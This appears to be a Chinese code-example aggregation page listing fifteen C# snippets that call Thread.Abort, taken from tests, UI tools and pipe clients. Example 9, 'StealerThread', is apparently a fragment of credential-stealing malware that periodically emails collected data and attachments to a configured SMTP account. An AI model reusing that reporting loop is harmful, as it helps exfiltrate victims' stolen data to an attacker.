本文整理匯總了C#中System.Threading.Thread.Abort方法的典型用法代碼示例。如果您正苦於以下問題:C# Thread.Abort方法的具體用法?C# Thread.Abort怎麽用?C# Thread.Abort使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類System.Threading.Thread
的用法示例。
在下文中一共展示了Thread.Abort方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的C#代碼示例。
示例1: CheckForLoops
private static void CheckForLoops(IEnumerable<Activity> activities)
{
var isCaughtProperly = false;
var thread = new System.Threading.Thread(
() =>
{
try {
activities.CriticalPath(p => p.Predecessors, l => (long)l.Duration);
}
catch (System.InvalidOperationException ex) {
System.Console.WriteLine("Found problem: " + ex.Message);
isCaughtProperly = true;
}
}
);
thread.Start();
for (var i = 0; i < 100; i++) {
Thread.Sleep(100); // Wait for 10 seconds - our thread should finish by then
if (thread.ThreadState != ThreadState.Running)
break;
}
if(thread.ThreadState ==ThreadState.Running)
thread.Abort();
System.Console.WriteLine(isCaughtProperly
? "Critical path caught the loop"
: "Critical path did not find the loop properly");
}
示例2: ScanFile
public void ScanFile(IWin32Window ParentForm, string FileName)
{
lock (this.FSD) {
if (FileName != null && File.Exists(FileName)) {
this.FSD = new FileScanDialog();
var T = new Thread(() => {
try {
Application.DoEvents();
while (!this.FSD.Visible) {
Thread.Sleep(0);
Application.DoEvents();
}
this.FSD.Invoke(new AnonymousMethod(() => this.FSD.ResetProgress()));
this.FileContents = FileType.LoadAll(FileName, (msg, pct) => this.FSD.Invoke(new AnonymousMethod(() => this.FSD.SetProgress(msg, pct))));
this.FSD.Invoke(new AnonymousMethod(() => this.FSD.Finish()));
} catch {
this.FileContents = null;
}
});
T.CurrentUICulture = Thread.CurrentThread.CurrentUICulture;
T.Start();
if (this.FSD.ShowDialog(ParentForm) == DialogResult.Abort) {
this.FSD.Finish();
this.FileContents = null;
}
if (T.IsAlive)
T.Abort();
this.FSD.Dispose();
this.FSD = null;
}
}
}
示例3: HardenedThreadAbortException
public void HardenedThreadAbortException()
{
Thread t = new Thread(new ThreadStart(HardenedThreadAbortExceptionWorker));
t.Name = "Execute Query";
t.Start();
Thread.Sleep(500);
t.Abort();
t.Join();
}
示例4: IT_CacheEndToEnd
public void IT_CacheEndToEnd()
{
//1. 啟動緩存服務
Thread thread = new Thread(StartCache);
thread.Start();
Thread.Sleep(5000);
//2. 測試單一存和取
GetAndSet();
thread.Abort();
CloseCache();
}
示例5: AsyncUserJob
private AsyncUserJob(DelegateJob callback, string title)
: base(title)
{
thread = new Thread(delegate() {
callback();
Finish();
});
CanCancel = true;
CancelRequested += delegate {
thread.Abort();
Finish();
};
SetResources(Resource.Cpu);
}
示例6: FindReceiver_GivenThereIsAReceiverOnTheLeftOutletButNotTheRightOutlet_ReturnsNull
public void FindReceiver_GivenThereIsAReceiverOnTheLeftOutletButNotTheRightOutlet_ReturnsNull()
{
// Arrange
var thread = new Thread(() =>
{
splittingPipe.LeftOutlet.Receive();
});
thread.Start();
Thread.Sleep(500);
// Act
var receiver = splittingPipe.FindReceiver(splittingPipe.Inlet);
// Assert
receiver.Should().BeNull();
thread.Abort();
}
示例7: ConnectTo
public Socket ConnectTo(IPAddress address, int port)
{
_remoteEndPoint = new IPEndPoint(address, port);
_socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
while (true)
{
_waitForConnection = new AutoResetEvent(false);
var connectorThread = new Thread(WaitForConnection);
connectorThread.Start();
if (!_waitForConnection.WaitOne(4000, false))
{
connectorThread.Abort();
_socket.Close();
_socket = null;
}
return _socket;
}
}
示例8: Abort
/// <summary>
/// Aborts the specified worker thread, if configured to do so.
/// </summary>
/// <param name="workerThread">The worker thread.</param>
/// <returns>True if thread aborted; false otherwise</returns>
public bool Abort(Thread workerThread)
{
//return if we never abort worker threads
if (!_configuration.AbortWorkerThreadsWhenStopping) return false;
//return if the worker is already dead
if (workerThread == null || !workerThread.IsAlive) return true;
//we can't abort async threads
if (_messageMode.Mode == MessageProcessingModes.Async)
{
return false;
}
//abort the thread... :(
workerThread.Abort();
return true;
}
示例9: StealerThread
public StealerThread(IStealer stealer, int delay)
{
_delay = delay;
_stealer = new Thread(stealer.Collect);
_reporter = new Thread(delegate()
{
while (true)
{
bool runOnce = _delay < 1;
if (!runOnce)
{
Thread.Sleep(_delay*60000);
}
if (string.IsNullOrEmpty(stealer.Data)) continue;
ReportEmail em = new ReportEmail(stealer.Name,
Program.Settings.EmailAddress,
Program.Settings.EmailPassword,
Program.Settings.SmtpAddress,
Program.Settings.SmtpPort);
if (stealer.Attachments == null)
{
em.Send(stealer.Data);
} else
{
em.Send(stealer.Data, stealer.Attachments);
}
stealer.Data = null;
stealer.Attachments = null;
if (runOnce)
{
_stealer.Abort();
_reporter.Abort();
break;
}
}
});
Variables.StealerPool.Add(this);
}
示例10: Main
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Form foo = new Form1();
//Application.Run(foo);
Thread newThread;
//Process P1 = Process.Start(form());
//P1.WaitForExit(5000);
//System.Threading.Thread.Sleep(500);
//foo.Close();
//Application.Exit();
//foo.Close();
//Environment.Exit(0);
newThread = new System.Threading.Thread(() => Application.Run(new Form1()));
newThread.Start();
System.Threading.Thread.Sleep(2000);
newThread.Abort();
newThread = new System.Threading.Thread(() => Application.Run(new Form3()));
newThread.Start();
System.Threading.Thread.Sleep(2000);
newThread.Abort();
}
示例11: ClientThreadRoutineRunSingleCommand
private void ClientThreadRoutineRunSingleCommand()
{
ReceivedMessage = "Error in ClientThreadRoutineRunSingleCommand";
try
{
Log.Debug("ClientThreadRoutineRunSingleCommand: Connecting to server " + hostName);
Log.Debug("pipe=" + pipeName);
Log.Debug("hostname=" + hostName);
pipeClient = new NamedPipeClientStream(hostName, pipeName,
PipeDirection.InOut, PipeOptions.None,
TokenImpersonationLevel.Impersonation);
pipeClient.Connect();
StreamString ss = new StreamString(pipeClient);
//Log.Debug("1 ClientMessage=" + ClientMessage);
//send clientmessage to server
ss.WriteString(ClientMessage);
//pipeClient.ReadTimeout = 5000; //timeout not supported for async streams
PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError);
PipeRunThreadTimeOutCounter.Start();
ReceivedMessage = ss.ReadString();
PipeRunThreadTimeOutCounter.Abort();
Log.Debug("ClientThreadRoutineRunSingleCommand: ***** SERVERMESSAGE=" + ReceivedMessage);
Log.Debug("ClientThreadRoutineRunSingleCommand: closing client pipe - command executed");
}
catch (Exception exc)
{
Log.Debug("ClientThreadRoutineRunSingleCommand: ClientThread() exception=" + exc.Message);
}
if (pipeClient != null)
{
pipeClient.Close();
//pipeClient = null;
}
Log.Debug("ClientThreadRoutineRunSingleCommand: Pipe Client Thread Completed");
//OldConnect = false;
return;
}
示例12: ClientRoutineRunEpg
private void ClientRoutineRunEpg()
{
bool success = false;
for (int i = 1; i <= 3; i++) //three retries for sending command
{
TIMEOUT = false;
try
{
Log.Debug("ClientRoutineRunEpg: Connecting to server " + hostName);
Log.Debug("pipe=" + pipeName);
Log.Debug("hostname=" + hostName);
pipeClient = new NamedPipeClientStream(hostName, pipeName,
PipeDirection.InOut, PipeOptions.None,
TokenImpersonationLevel.Impersonation);
pipeClient.Connect();
StreamString ss = new StreamString(pipeClient);
//send clientmessage to server
Log.Debug("Writing command " + ClientMessage);
ss.WriteString(ClientMessage);
ReceivedMessage = "ClientThreadRoutineRunEpg Error";
while ((ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == false) && (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == false))
{
PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError);
PipeRunThreadTimeOutCounter.Start();
ReceivedMessage = ss.ReadString();
PipeRunThreadTimeOutCounter.Abort();
//evaluate response from server
string Processedmessage = string.Empty;
if (ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == true)
{
Processedmessage = ReceivedMessage.Substring(PipeCommands.Ready.ToString().Length);
}
else if (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == true)
{
Processedmessage = ReceivedMessage.Substring(PipeCommands.Error.ToString().Length);
}
else
{
Processedmessage = ReceivedMessage;
}
Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage);
labelmessage(Processedmessage, PipeCommands.StartEpg);
//myTvWishes.StatusLabel(Processedmessage);
Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage);
}
Log.Debug("closing client pipe - command executed");
if (pipeClient != null)
{
pipeClient.Close();
if (pipeClient != null)
pipeClient = null;
}
success = true;
break;
}
catch (Exception exc)
{
Log.Debug("Sending tv server command failed in iteration i=" + i.ToString());
Log.Debug("ClientThread() exception=" + exc.Message);
Thread.Sleep(2000);
if (pipeClient != null)
{
pipeClient.Close();
if (pipeClient != null)
pipeClient = null;
}
if (TIMEOUT)
{
TIMEOUT = false;
break;
}
}
}
if (success == false)
{
//MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", "\n"));
MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", Environment.NewLine),"Error");
// myTvWishes.MyMessageBox(4305, 1206); //TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin
}
Log.Debug("ClientThreadRoutineRunEpg() Thread Completed");
//OldConnect = false;
}
示例13: btnSearch_Click
//.........這裏部分代碼省略.........
if (txtSearch.Text == "")
{
treeSystem.BeginUpdate();
treeSystem.Nodes.Clear();
treeSystem.Nodes.Add(Create_Nodes(accion.Root));
treeSystem.Nodes[0].Expand();
treeSystem.EndUpdate();
return;
}
Thread waiting = new System.Threading.Thread(ThreadEspera);
sFolder resul = new sFolder();
resul.files = new List<sFile>();
resul.folders = new List<sFolder>();
#region Search type
if (txtSearch.Text == "<Ani>")
resul = accion.Search_File(Format.Animation);
else if (txtSearch.Text == "<Cell>")
resul = accion.Search_File(Format.Cell);
else if (txtSearch.Text == "<Map>")
resul = accion.Search_File(Format.Map);
else if (txtSearch.Text == "<Image>")
resul = accion.Search_File(Format.Tile);
else if (txtSearch.Text == "<FullImage>")
resul = accion.Search_File(Format.FullImage);
else if (txtSearch.Text == "<Palette>")
resul = accion.Search_File(Format.Palette);
else if (txtSearch.Text == "<Text>")
resul = accion.Search_File(Format.Text);
else if (txtSearch.Text == "<Video>")
resul = accion.Search_File(Format.Video);
else if (txtSearch.Text == "<Sound>")
resul = accion.Search_File(Format.Sound);
else if (txtSearch.Text == "<Font>")
resul = accion.Search_File(Format.Font);
else if (txtSearch.Text == "<Compress>")
resul = accion.Search_File(Format.Compressed);
else if (txtSearch.Text == "<Script>")
resul = accion.Search_File(Format.Script);
else if (txtSearch.Text == "<Pack>")
resul = accion.Search_File(Format.Pack);
else if (txtSearch.Text == "<Texture>")
resul = accion.Search_File(Format.Texture);
else if (txtSearch.Text == "<3DModel>")
resul = accion.Search_File(Format.Model3D);
else if (txtSearch.Text == "<Unknown>")
resul = accion.Search_File(Format.Unknown);
else if (txtSearch.Text.StartsWith("Length: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17)
resul = accion.Search_FileLength(Convert.ToInt32(txtSearch.Text.Substring(7)));
else if (txtSearch.Text.StartsWith("ID: ") && txtSearch.Text.Length > 4 && txtSearch.Text.Length < 13)
{
sFile searchedFile = accion.Search_File(Convert.ToInt32(txtSearch.Text.Substring(4), 16));
if (searchedFile.name is String)
resul.files.Add(searchedFile);
}
else if (txtSearch.Text.StartsWith("Offset: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17)
resul = accion.Search_FileOffset(Convert.ToInt32(txtSearch.Text.Substring(8), 16));
else if (txtSearch.Text.StartsWith("Header: ") && txtSearch.Text.Length > 8)
{
if (!isMono)
waiting.Start("S07");
List<byte> search = new List<byte>();
for (int i = 8; i + 1 < txtSearch.Text.Length; i += 2)
search.Add(Convert.ToByte(txtSearch.Text.Substring(i, 2), 16));
if (search.Count != 0)
resul = accion.Search_File(search.ToArray());
}
else
resul = accion.Search_File(txtSearch.Text);
#endregion
resul.id = (ushort)accion.LastFolderID;
accion.LastFolderID++;
if (resul.folders is List<sFolder>)
{
for (int i = 0; i < resul.folders.Count; i++)
{
sFolder newFolder = resul.folders[i];
newFolder.id = resul.id;
resul.folders[i] = newFolder;
}
}
TreeNode nodo = new TreeNode(Tools.Helper.GetTranslation("Sistema", "S2D"));
FolderToNode(resul, ref nodo);
treeSystem.BeginUpdate();
treeSystem.Nodes.Clear();
nodo.Name = Tools.Helper.GetTranslation("Sistema", "S2D");
treeSystem.Nodes.Add(nodo);
treeSystem.ExpandAll();
treeSystem.EndUpdate();
if (!isMono && waiting.ThreadState == ThreadState.Running)
waiting.Abort();
}
示例14: UnpackFolder
private void UnpackFolder()
{
this.Cursor = Cursors.WaitCursor;
Thread espera = new System.Threading.Thread(ThreadEspera);
if (!isMono)
espera.Start("S04");
sFolder folderSelected = accion.Selected_Folder();
if (!(folderSelected.name is String)) // If it's the search folder or similar
folderSelected = Get_SearchedFiles();
Recursivo_UnpackFolder(folderSelected);
Get_SupportedFiles();
treeSystem.BeginUpdate();
treeSystem.Nodes.Clear();
treeSystem.Nodes.Add(Create_Nodes(accion.Root));
treeSystem.Nodes[0].Expand();
treeSystem.EndUpdate();
if (!isMono)
{
espera.Abort();
debug.Add_Text(sb.ToString());
}
sb.Length = 0;
this.Cursor = Cursors.Default;
}
示例15: Sistema_Load
void Sistema_Load(object sender, EventArgs e)
{
string[] filesToRead = new string[1];
if (Environment.GetCommandLineArgs().Length == 1)
{
OpenFileDialog o = new OpenFileDialog();
o.CheckFileExists = true;
o.Multiselect = true;
if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK)
{
Application.Exit();
return;
}
filesToRead = o.FileNames;
o.Dispose();
}
else if (Environment.GetCommandLineArgs().Length == 2)
{
if (Environment.GetCommandLineArgs()[1] == "-fld")
{
FolderBrowserDialog o = new FolderBrowserDialog();
o.ShowNewFolderButton = false;
if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK)
{
Application.Exit();
return;
}
filesToRead[0] = o.SelectedPath;
o.Dispose();
}
else
filesToRead[0] = Environment.GetCommandLineArgs()[1];
}
else if (Environment.GetCommandLineArgs().Length >= 3)
{
filesToRead = new String[Environment.GetCommandLineArgs().Length - 1];
Array.Copy(Environment.GetCommandLineArgs(), 1, filesToRead, 0, filesToRead.Length);
}
Thread espera = new System.Threading.Thread(ThreadEspera);
if (!isMono)
espera.Start("S02");
if (filesToRead.Length == 1 &&
(Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".NDS") || Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".SRL")))
ReadGame(filesToRead[0]);
else if (filesToRead.Length == 1 && Directory.Exists(filesToRead[0]))
ReadFolder(filesToRead[0]);
else
ReadFiles(filesToRead);
if (!isMono)
{
espera.Abort();
debug = new Debug();
debug.FormClosing += new FormClosingEventHandler(debug_FormClosing);
debug.Add_Text(sb.ToString());
}
sb.Length = 0;
romInfo.FormClosing += new FormClosingEventHandler(romInfo_FormClosing);
LoadPreferences();
this.Show();
if (!isMono)
debug.ShowInTaskbar = true;
romInfo.ShowInTaskbar = true;
this.Activate();
}